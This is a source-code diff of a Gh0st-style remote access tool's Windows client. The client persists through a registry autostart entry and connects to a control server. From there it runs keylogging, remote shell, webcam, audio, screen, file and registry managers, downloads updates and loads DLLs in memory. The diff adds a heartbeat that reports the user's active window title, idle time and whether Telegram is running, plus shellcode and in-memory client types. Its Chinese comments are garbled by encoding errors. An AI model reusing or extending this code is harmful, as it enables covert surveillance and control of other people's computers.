diff --git a/ReadMe.md b/ReadMe.md index 6b2d2ab..4f87c31 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -89,6 +89,18 @@ Release v1.0.7, mainly fix or add new feature: - Improve remote control efficiency and support more bitmap compressing method; - Some code reorganization. +**2025.04.12** + +Since v1.0.7 released in April 5: + +- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**; +- Fix bugs: #62, #74, #75 ; +- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build; +- Showing the user's activities and monitoring specified software; +- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity; +- Implement loading DLL in memory, make it easy to update client program; + + # 沟通反馈 QQ:962914132 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index f68a97f..bdaa80b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -18,15 +18,28 @@ // Զעеֵ #define REG_NAME "a_ghost" +// Ŀͻ˸ +#define CLIENT_PARALLEL_NUM 1 + +// ͻࣺȫֱһ. +// տͻֻ2ȫֱ: g_SETTINGSg_MyAppg_SETTINGSΪg_MyAppijԱ. +// ȫֻһȫֱ: g_MyApp +typedef struct ClientApp +{ + BOOL g_bExit; // Ӧó״̬1-ض˳ 2-ض˳ 3- + BOOL g_bThreadExit; // ߳״̬ + HINSTANCE g_hInstance; // ̾ + CONNECT_ADDRESS *g_Connection; // Ϣ + HANDLE g_hEvent; // ȫ¼ +}ClientApp; + // Զ̵ַ -CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE}; +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL}; -// Ӧó״̬1-ض˳ 2-ض˳ 3- -BOOL g_bExit = 0; -// ߳״̬ -BOOL g_bThreadExit = 0; +// Ӧó +ClientApp g_MyApp = { FALSE, FALSE, NULL, &g_SETTINGS, NULL }; -HINSTANCE g_hInstance = NULL; +// ̣߳ΪClientApp DWORD WINAPI StartClient(LPVOID lParam); #if _CONSOLE @@ -97,13 +110,125 @@ BOOL CALLBACK callback(DWORD CtrlType) { if (CtrlType == CTRL_CLOSE_EVENT) { - g_bExit = true; + g_MyApp.g_bExit = true; while (E_RUN == status) Sleep(20); } return TRUE; } +// ߳`StartClientApp`. +typedef struct ClientStartArg +{ + int ID; // ̷߳ش + ClientApp App; // ͻ˶ + const char* IP; // ԶIP + int Port; // Զ̶˿ +}ClientStartArg; + + +DWORD StartClientApp(int id, ClientApp &app, const char *ip, int port) { + CONNECT_ADDRESS& settings(*(app.g_Connection)); + BOOL& bExit(app.g_bExit); + if (ip != NULL && port > 0) + { + settings.SetServer(ip, port); + } + if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) { + Mprintf(": ṩԶIPͶ˿!\n"); + Sleep(3000); + return -1; + } + app.g_hInstance = GetModuleHandle(NULL); + Mprintf("[server: %d] %s:%d HINSTANCE: %p\n", id, settings.ServerIP(), settings.ServerPort(), app.g_hInstance); + + do { + bExit = 0; + HANDLE hThread = CreateThread(NULL, 0, StartClient, &app, 0, NULL); + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } while (E_RUN == status && 1 != bExit); + + return id; +} + + +DWORD WINAPI StartClientApp(LPVOID param) { + ClientStartArg* a = (ClientStartArg*)param; + auto r = StartClientApp(a->ID, a->App, a->IP, a->Port); + SAFE_DELETE(a); + return r; +} + + +/** + * @brief ȴֳ֧MAXIMUM_WAIT_OBJECTSƣ + * @param handles + * @param waitAll ǷȴоɣTRUE=ȫ, FALSE=һ + * @param timeout ʱʱ䣨룬INFINITEʾ޵ȴ + * @return ȴWAIT_OBJECT_0ɹ, WAIT_FAILEDʧܣ + */ +DWORD WaitForMultipleHandlesEx( + const std::vector& handles, + BOOL waitAll = TRUE, + DWORD timeout = INFINITE +) { + const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳƣ64 + DWORD totalHandles = static_cast(handles.size()); + + // 1. Ч + for (HANDLE h : handles) { + if (h == NULL || h == INVALID_HANDLE_VALUE) { + SetLastError(ERROR_INVALID_HANDLE); + return WAIT_FAILED; + } + } + + // 2. 64ֱӵԭAPI + if (totalHandles <= MAX_WAIT) { + return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout); + } + + // 3. ȴ߼ + if (waitAll) { + // ȴо + for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { + DWORD batchSize = min(MAX_WAIT, totalHandles - i); + DWORD result = WaitForMultipleObjects( + batchSize, + &handles[i], + TRUE, // ȴǰȫ + timeout + ); + if (result == WAIT_FAILED) { + return WAIT_FAILED; + } + } + return WAIT_OBJECT_0; + } + else { + // ֻȴһ + while (true) { + for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { + DWORD batchSize = min(MAX_WAIT, totalHandles - i); + DWORD result = WaitForMultipleObjects( + batchSize, + &handles[i], + FALSE, // ǰһɼ + timeout + ); + if (result != WAIT_FAILED && result != WAIT_TIMEOUT) { + return result + i; // ȫ + } + } + if (timeout != INFINITE) { + return WAIT_TIMEOUT; + } + } + } +} + int main(int argc, const char *argv[]) { if (!SetSelfStart(argv[0], REG_NAME)) @@ -121,33 +246,26 @@ int main(int argc, const char *argv[]) } SetConsoleCtrlHandler(&callback, TRUE); - if (argc>=3) - { - g_SETTINGS.SetServer(argv[1], atoi(argv[2])); - } - if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) { - Mprintf(": ṩԶIPͶ˿!\n"); - Sleep(3000); - return -1; - } - Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); - - // ȡǰģľHINSTANCE - g_hInstance = GetModuleHandle(NULL); - if (g_hInstance != NULL) { - Mprintf("HINSTANCE: %p\n", g_hInstance); + const char* ip = argc > 1 ? argv[1] : NULL; + int port = argc > 2 ? atoi(argv[2]) : 0; + g_MyApp.g_Connection->SetType(CLIENT_TYPE_ONE); + if (CLIENT_PARALLEL_NUM == 1) { + // ͻ + StartClientApp(0, g_MyApp, ip, port); } else { - Mprintf("Failed to get HINSTANCE!\n"); + std::vector handles(CLIENT_PARALLEL_NUM); + for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) { + handles[i] = CreateThread(0, 64*1024, StartClientApp, new ClientStartArg{ i, g_MyApp, ip, port }, 0, 0); + if (handles[i] == 0) { + Mprintf("߳ %d ʧܣ: %d\n", i, errno); + } + } + DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE); + if (result == WAIT_FAILED) { + Mprintf("WaitForMultipleObjects ʧܣ: %d\n", GetLastError()); + } } - do{ - g_bExit = 0; - HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL); - - WaitForSingleObject(hThread, INFINITE); - CloseHandle(hThread); - }while (E_RUN == status && 1 != g_bExit); - status = E_STOP; CloseHandle(hMutex); @@ -165,7 +283,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: { - g_hInstance = (HINSTANCE)hInstance; + g_MyApp.g_hInstance = (HINSTANCE)hInstance; break; } @@ -178,14 +296,15 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, // һghost extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { - g_bExit = FALSE; + ClientApp& app(g_MyApp); + CONNECT_ADDRESS& settings(*(app.g_Connection)); + app.g_bExit = FALSE; if (strlen(szServerIP)>0 && uPort>0) { - g_SETTINGS.SetServer(szServerIP, uPort); + settings.SetServer(szServerIP, uPort); } - g_SETTINGS.SetType(CLIENT_TYPE_DLL); - HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL); + HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL); if (hThread == NULL) { return; } @@ -198,13 +317,33 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) } // ֹͣ -extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } +extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = true; } // Ƿɹֹͣ -extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } +extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; } // Ƿ˳ͻ -extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; } +extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; } + +// д˳κβ +extern "C" __declspec(dllexport) int EasyRun() { + ClientApp& app(g_MyApp); + CONNECT_ADDRESS& settings(*(app.g_Connection)); + + do { + TestRun((char*)settings.ServerIP(), settings.ServerPort()); + while (!IsStoped()) + Sleep(50); + if (1 == app.g_bExit) // ܿض˳ + break; + else if (2 == app.g_bExit) + continue; + else // 3: + break; + } while (true); + + return app.g_bExit; +} // copy from: SimpleRemoter\client\test.cpp // µDLL @@ -264,12 +403,15 @@ int nCmdShow: ȴвжȡַָʹȫֱȡ */ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { + ClientApp& app(g_MyApp); + CONNECT_ADDRESS& settings(*(app.g_Connection)); + BOOL& bExit(app.g_bExit); char message[256] = { 0 }; if (strlen(lpszCmdLine) != 0) { strcpy_s(message, lpszCmdLine); - }else if (g_SETTINGS.IsValid()) + }else if (settings.IsValid()) { - sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); } std::istringstream stream(message); @@ -291,15 +433,15 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); while (!IsStoped()) Sleep(20); - if (g_bExit == 1) + if (bExit == 1) return; - else if (g_bExit == 2) + else if (bExit == 2) continue; else // 3 break; } while (true); - sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); RunNewDll(message); } @@ -307,36 +449,51 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz DWORD WINAPI StartClient(LPVOID lParam) { - IOCPClient *ClientObject = new IOCPClient(g_bExit); + ClientApp& app(*(ClientApp*)lParam); + CONNECT_ADDRESS& settings(*(app.g_Connection)); + BOOL& bExit(app.g_bExit); + IOCPClient *ClientObject = new IOCPClient(bExit); - g_bThreadExit = false; - while (!g_bExit) + if (NULL == app.g_hEvent) + app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED); + if (app.g_hEvent == NULL) { + Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError()); + } + + app.g_bThreadExit = false; + while (!bExit) { ULONGLONG dwTickCount = GetTickCount64(); - if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) + if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { - for (int k = 500; !g_bExit && --k; Sleep(10)); + for (int k = 500; !bExit && --k; Sleep(10)); continue; } //׼һ - SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType()); + LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType()); + ClientObject->SendLoginInfo(login); - CKernelManager Manager(&g_SETTINGS, ClientObject, g_hInstance); - bool bIsRun = 0; + CKernelManager *Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); do { + Manager->SendHeartbeat(); + } while (ClientObject->IsRunning() && ClientObject->IsConnected() && !bExit); + while (GetTickCount64() - dwTickCount < 5000 && !bExit) Sleep(200); - bIsRun = ClientObject->IsRunning(); + delete Manager; + } + if (app.g_bExit == 1 && app.g_hEvent) { + BOOL b = SetEvent(app.g_hEvent); + Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed"); - } while (bIsRun && ClientObject->IsConnected() && !g_bExit); - while (GetTickCount64() - dwTickCount < 5000 && !g_bExit) - Sleep(200); + CloseHandle(app.g_hEvent); + app.g_hEvent = NULL; } Mprintf("StartClient end\n"); delete ClientObject; - g_bThreadExit = true; + app.g_bThreadExit = true; return 0; } diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index e0167cd..e14d444 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -17,6 +17,12 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject) { m_ulThreadCount = 0; +#ifdef _DEBUG + m_settings = { 5 }; +#else + m_settings = { 30 }; +#endif + m_nNetPing = -1; } CKernelManager::~CKernelManager() @@ -113,50 +119,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } else if (!isExit){ - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].conn = m_conn; } switch(szBuffer[0]) { + case CMD_HEARTBEAT_ACK: + if (ulLength > 8) { + uint64_t n = 0; + memcpy(&n, szBuffer + 1, sizeof(uint64_t)); + auto system_ms = std::chrono::time_point_cast( + std::chrono::system_clock::now() + ); + m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2); + } + break; + case CMD_MASTERSETTING: + if (ulLength > sizeof(MasterSettings)) { + memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); + } + break; case COMMAND_KEYBOARD: //̼¼ { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, - LoopKeyboardManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_TALK: { - m_hThread[m_ulThreadCount].user = m_hInstance; - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopTalkManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].user = m_hInstance; + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHELL: { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopShellManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: //Զ̹̽ { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, - LoopProcessManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: //Զ̴ڹ { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopWindowManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -184,59 +200,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, ulLength - 1); } + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); m_hThread[m_ulThreadCount].user = user; - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopScreenManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_LIST_DRIVE : { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopFileManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopVideoManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopAudioManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopRegisterManager, - &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, - LoopServicesManager, - &m_hThread[m_ulThreadCount], 0, NULL); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } case COMMAND_UPDATE: { - if (m_ulThreadCount != -1) { - delete m_hThread[m_ulThreadCount].p; - m_hThread[m_ulThreadCount].p = NULL; - } ULONGLONG size=0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { @@ -247,14 +253,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { - OutputDebugStringA("======> Error operator\n"); - char buffer[256] = {}; - strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer)); - Mprintf("!!! Unknown command: %s\n", buffer); - if (m_ulThreadCount != -1) { - delete m_hThread[m_ulThreadCount].p; - m_hThread[m_ulThreadCount].p = NULL; - } + Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0])); break; } } diff --git a/client/KernelManager.h b/client/KernelManager.h index 9298fbe..83038df 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -14,6 +14,64 @@ #define MAX_THREADNUM 0x1000>>2 +#include +#include +#include +#include +#include "LoginServer.h" + +class ActivityWindow { +public: + std::string Check(DWORD threshold_ms = 6000) { + auto idle = GetUserIdleTime(); + BOOL isActive = (idle < threshold_ms); + if (isActive) { + return GetActiveWindowTitle(); + } + return "Inactive: " + FormatMilliseconds(idle); + } + +private: + std::string FormatMilliseconds(DWORD ms) + { + DWORD totalSeconds = ms / 1000; + DWORD hours = totalSeconds / 3600; + DWORD minutes = (totalSeconds % 3600) / 60; + DWORD seconds = totalSeconds % 60; + + std::stringstream ss; + ss << std::setfill('0') + << std::setw(2) << hours << ":" + << std::setw(2) << minutes << ":" + << std::setw(2) << seconds; + + return ss.str(); + } + + std::string GetActiveWindowTitle() + { + HWND hForegroundWindow = GetForegroundWindow(); + if (hForegroundWindow == NULL) + return "No active window"; + + char windowTitle[256]; + GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle)); + return std::string(windowTitle); + } + + DWORD GetLastInputTime() + { + LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) }; + GetLastInputInfo(&lii); + return lii.dwTime; + } + + DWORD GetUserIdleTime() + { + return (GetTickCount64() - GetLastInputTime()); + } +}; + // ߳Ϣṹ, 3Ա: ״̬(run)(h)ͨѶͻ(p). struct ThreadInfo { @@ -39,6 +97,66 @@ public: // ҽֵĺ޸Ϊ"߳±"m_hThreadָλÿãµ̷߳ڸλ ULONG m_ulThreadCount; UINT GetAvailableIndex(); + + MasterSettings m_settings; + int m_nNetPing; // ״ + // + int SendHeartbeat() { + for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) + Sleep(1000); + if (m_settings.ReportInterval <= 0) { // رϱϢ + Sleep(1000); + return 0; + } + if (g_bExit || !m_ClientObject->IsConnected()) + return -1; + + ActivityWindow checker; + auto s = checker.Check(); + Heartbeat a(s, m_nNetPing); + + a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware); + + BYTE buf[sizeof(Heartbeat) + 1]; + buf[0] = TOKEN_HEARTBEAT; + memcpy(buf + 1, &a, sizeof(Heartbeat)); + m_ClientObject->Send2Server((char*)buf, sizeof(buf)); + return 0; + } + bool SoftwareCheck(int type) { + static std::map m = { + {SOFTWARE_CAMERA, "ͷ"}, + {SOFTWARE_TELEGRAM, "telegram.exe" }, + }; + static bool hasCamera = WebCamIsExist(); + return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] }); + } + // Ƿ + bool IsProcessRunning(const std::vector& processNames) { + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + + // ȡǰϵͳн̵Ŀ + HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) + return true; + + // н + if (Process32First(hProcessSnap, &pe32)) { + do { + for (const auto& processName : processNames) { + // ƥ䣬򷵻 true + if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) { + CloseHandle(hProcessSnap); + return true; + } + } + } while (Process32Next(hProcessSnap, &pe32)); + } + + CloseHandle(hProcessSnap); + return false; + } }; #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 4c885c6..86dc708 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -178,7 +178,7 @@ std::string getProcessTime() { return buffer; } -int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType) +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType) { LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ @@ -189,12 +189,6 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType) char szPCName[MAX_PATH] = {0}; gethostname(szPCName, MAX_PATH); - //ClientIP - sockaddr_in ClientAddr; - memset(&ClientAddr, 0, sizeof(ClientAddr)); - int iLen = sizeof(sockaddr_in); - getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen); - DWORD dwCPUMHz; dwCPUMHz = CPUClockMHz(); @@ -205,10 +199,9 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType) LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.bWebCamIsExist = bWebCamIsExist; strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); - sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE"); - int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR)); + sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType)); - return iRet; + return LoginInfor; } diff --git a/client/LoginServer.h b/client/LoginServer.h index 18f2d9b..3e7717d 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,6 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType); +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index fc69407..0dbf453 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -44,7 +44,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; - bool DXGI = false; + int DXGI = 0; BYTE algo = ALGORITHM_DIFF; if (!(user == NULL || (int)user == 1)) { UserParam* param = (UserParam*)user; @@ -54,10 +54,10 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan delete param; } } else { - DXGI = user; + DXGI = (int)user; } - Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo)); - if ((DXGI && IsWindows8orHigher())) + Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); + if ((1==DXGI && IsWindows8orHigher())) { auto s = new ScreenCapturerDXGI(algo); if (s->IsInitSucceed()) { diff --git a/client/StdAfx.h b/client/StdAfx.h index c664e4c..1c4f0e1 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -99,3 +99,28 @@ public: #ifndef SAFE_DELETE_ARRAY #define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} #endif + +class CLock +{ +private: + CRITICAL_SECTION m_cs; +public: + CLock() + { + InitializeCriticalSection(&m_cs); + } + ~CLock() + { + DeleteCriticalSection(&m_cs); + } + + void Unlock() + { + LeaveCriticalSection(&m_cs); + } + + void Lock() + { + EnterCriticalSection(&m_cs); + } +}; diff --git a/client/test.cpp b/client/test.cpp index d27668e..7d5a51e 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -25,7 +25,7 @@ IsExit bExit = NULL; BOOL status = 0; -CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL }; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL }; //Ȩ void DebugPrivilege() diff --git a/common/commands.h b/common/commands.h index d7b98e6..7e11462 100644 --- a/common/commands.h +++ b/common/commands.h @@ -68,9 +68,9 @@ typedef void* LPVOID, * HANDLE; // 2ȫΨһɷʱ -#define FLAG_FINDEN 0x1234567 +#define FLAG_FINDEN "Hello, World!" -#define FLAG_GHOST 0x7654321 +#define FLAG_GHOST FLAG_FINDEN // Է仯ʱӦøֵԱԱس #define DLL_VERSION __DATE__ // DLL汾 @@ -202,43 +202,84 @@ enum SOCKET_DLLLOADER=210, // ͻDLL CMD_DLLDATA, // ӦDLL + CMD_MASTERSETTING = 215, // + CMD_HEARTBEAT_ACK = 216, // Ӧ }; -#define CLIENT_TYPE_DLL 0 // ͻ˴DLL -#define CLIENT_TYPE_ONE 1 // ͻ˴ԵEXE -#define CLIENT_TYPE_MODULE 2 // DLLⲿ +enum +{ + CLIENT_TYPE_DLL = 0, // ͻ˴DLL + CLIENT_TYPE_ONE = 1, // ͻ˴ԵEXE + CLIENT_TYPE_MEMEXE = -1, // ڴEXE + CLIENT_TYPE_MODULE = 2, // DLLⲿ + CLIENT_TYPE_SHELLCODE = 4, // Shellcode + CLIENT_TYPE_MEMDLL = 5, // ڴDLL + CLIENT_TYPE_LINUX = 6, // LINUX ͻ +}; + +inline const char* GetClientType(int typ) { + switch (typ) + { + case CLIENT_TYPE_DLL: + return "DLL"; + case CLIENT_TYPE_ONE: + return "EXE"; + case CLIENT_TYPE_MEMEXE: + return "MEXE"; + case CLIENT_TYPE_MODULE: + return "DLL"; + case CLIENT_TYPE_SHELLCODE: + return "SC"; + case CLIENT_TYPE_MEMDLL: + return "MDLL"; + case CLIENT_TYPE_LINUX: + return "LNX"; + default: + return "DLL"; + } +} // ӵسϢ typedef struct CONNECT_ADDRESS { public: - unsigned long dwFlag; - char szServerIP[_MAX_PATH]; - int iPort; + char szFlag[32]; + char szServerIP[100]; + char szPort[8]; int iType; + bool bEncrypt; + char szBuildDate[12]; + int iMultiOpen; + char szReserved[134]; // ռλʹṹռ300ֽ public: void SetType(int typ) { iType = typ; } - const unsigned long & Flag() const { - return dwFlag; + const void* Flag() const { + return szFlag; + } + int FlagLen() const { + return strlen(szFlag); } const char* ServerIP()const { return szServerIP; } int ServerPort()const { - return iPort; + return atoi(szPort); } int ClientType()const { return iType; } void SetServer(const char* ip, int port) { strcpy_s(szServerIP, ip); - iPort = port; + sprintf_s(szPort, "%d", port); } bool IsValid()const { - return strlen(szServerIP) != 0 && iPort > 0; + return strlen(szServerIP) != 0 && atoi(szPort) > 0; + } + int Size() const { + return sizeof(CONNECT_ADDRESS); } } CONNECT_ADDRESS ; @@ -270,6 +311,67 @@ typedef struct LOGIN_INFOR } }LOGIN_INFOR; +// ̶1024ֽ +typedef struct Heartbeat +{ + uint64_t Time; + char ActiveWnd[512]; + int Ping; + int HasSoftware; + char Reserved[496]; + + Heartbeat() { + memset(this, 0, sizeof(Heartbeat)); + } + Heartbeat(const std::string& s, int ping = 0) { + auto system_ms = std::chrono::time_point_cast( + std::chrono::system_clock::now() + ); + Time = system_ms.time_since_epoch().count(); + strcpy_s(ActiveWnd, s.c_str()); + Ping = ping; + memset(Reserved, 0, sizeof(Reserved)); + } + int Size() const { + return sizeof(Heartbeat); + } +}Heartbeat; + +typedef struct HeartbeatACK { + uint64_t Time; + char Reserved[24]; +}HeartbeatACK; + +// ̶500ֽ +typedef 